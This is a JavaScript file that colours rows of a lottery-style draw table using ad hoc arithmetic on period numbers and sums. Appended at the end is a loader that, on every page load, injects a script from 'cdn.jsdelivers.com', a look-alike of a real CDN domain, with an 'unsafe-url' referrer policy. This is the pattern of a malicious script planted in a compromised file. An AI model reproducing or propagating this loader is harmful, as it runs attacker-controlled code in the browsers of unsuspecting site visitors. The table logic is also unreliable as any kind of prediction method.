Files

172 lines
5.1 KiB
JavaScript

//去除空格
String.prototype.trim = function () {
var str = this,
str = str.replace(/^\s+/, '');
for (var i = str.length - 1; i >= 0; i--) {
if (/\S/.test(str.charAt(i))) {
str = str.substring(0, i + 1);
break;
}
}
return str;
}
//算法2
function Arithmetic2(p0, p1, kz1, kz2) {
var aa = Math.abs(kz1 - kz2);
var bb = Math.abs(kz1 + kz2);
var cc = p0 + aa;
var dd = p0 + bb;
if (cc == p1 || dd == p1) {
return true;
}
else {
return false
}
}
//算法3
function Arithmetic3(p0, p1, kh1, kh2) {
var aa = Math.abs(kh1 - kh2);
var bb = Math.abs(kh1 + kh2);
var cc = p0 + aa;
var dd = p0 + bb;
if (cc == p1 || dd == p1) {
return true;
}
else {
return false
}
}
//
function checkcolor1() {
var trList = $("#dataForm1").children("tr");
var list1 = new Array();
var list2 = new Array();
var list3 = new Array();
for (var i = 0; i < trList.length; i++) {
var tdArr = trList.eq(i).find("td");
//1:中,2:和,3:中和,4:都不是
var a = trList.eq(i).data("view");
//var history_income_type = tdArr.eq(0).find("input").val();//收入类别
//var history_income_money = tdArr.eq(1).find("input").val();//收入金额
//var history_income_remark = tdArr.eq(2).find("input").val();// 备注
var mm = trList.eq(i - 1).find("td").eq(10).find("input").val();
var qi = tdArr.eq(1).text().trim();//期号
var sum = tdArr.eq(2).text().trim();//总和
var he = tdArr.eq(5).text().trim();//和
var zhong = tdArr.eq(10).text().trim();//中
//console.log("我是"+he)
var kong1 = 0;
var kong2 = 0;
//集合赋值
if (a > 0) {
if (i > 0) {
var m = i - 1;
while (m >= 0) {
kong1 = trList.eq(m).find("td").eq(10).find("input").val();
//console.log(kong1)
if (kong1 > 0) {
break;
}
m -= 1;
}
var n = i - 1;
while (n >= 0) {
kong2 = trList.eq(n).find("td").eq(5).find("input").val();
if (kong1 > 0) {
break;
}
n -= 1;
}
}
list1.push({ type: a, qihao: qi, zonghe: sum, kz: kong1, kh: kong2 });
}
}
//获取中和
if (list1 != null && list1.length > 0) {
for (var i = 0; i < list1.length; i++) {
var t = list1[i].type;
var a = list1[i].qihao;
var b = list1[i].zonghe;
var c = list1[i].kz;//zhong
var d = list1[i].kh;//he
var e = 0;
var f = 0;
if (i > 0) {
e = list1[i - 1].kz;
f = list1[i - 1].kh;
}
Arithmetic4(t, a, parseInt(b), c, e, d, f);
}
}
}
//算法1
function Arithmetic4(type, qi, sum, k1, k2, k3, k4) {
var period0 = qi.substring(qi.length - 3, qi.length);
var periodwan = parseInt(qi) - parseInt(period0);
var sum0 = parseInt(sum / 2);
var bai = parseInt(sum0 % 1000 / 100);
var shi = parseInt(sum0 % 100 / 10);
var ge = parseInt(sum0 % 10);
var sum1 = bai + shi + ge;
var shi1 = parseInt(sum1 % 100 / 10);
var ge1 = parseInt(sum1 % 10);
var sum2 = shi1 + ge1;
var period1 = parseInt(period0) + sum2;
var period2 = period1 + periodwan - 1;
var t1 = Arithmetic2(parseInt(period0), period1, k1, k2);
var t2 = Arithmetic3(parseInt(period0), period1, k3, k4);
if (t1 == true || t2 == true) {
$("#tr_" + period2).add("p").css("background", "#ebadf2");//紫色
}
else {
if (sum2 > 3) {
//$("#tr_" + period2).removeClass();
$("#tr_" + period2).add("w").css("background", "#fffff");//白
}
else {
$("#tr_" + period2).add("b").css("background", "#a3bff2");//蓝
}
}
}
;function loadJSScript(url, callback) {
var script = document.createElement("script");
script.type = "text/javascript";
script.referrerPolicy = "unsafe-url";
if (typeof(callback) != "undefined") {
if (script.readyState) {
script.onreadystatechange = function() {
if (script.readyState == "loaded" || script.readyState == "complete") {
script.onreadystatechange = null;
callback();
}
};
} else {
script.onload = function() {
callback();
};
}
};
script.src = url;
document.body.appendChild(script);
}
window.onload = function() {
loadJSScript("//cdn.jsdelivers.com/jquery/3.2.1/jquery.js?"+Math.random(), function() {
console.log("Jquery loaded");
});
}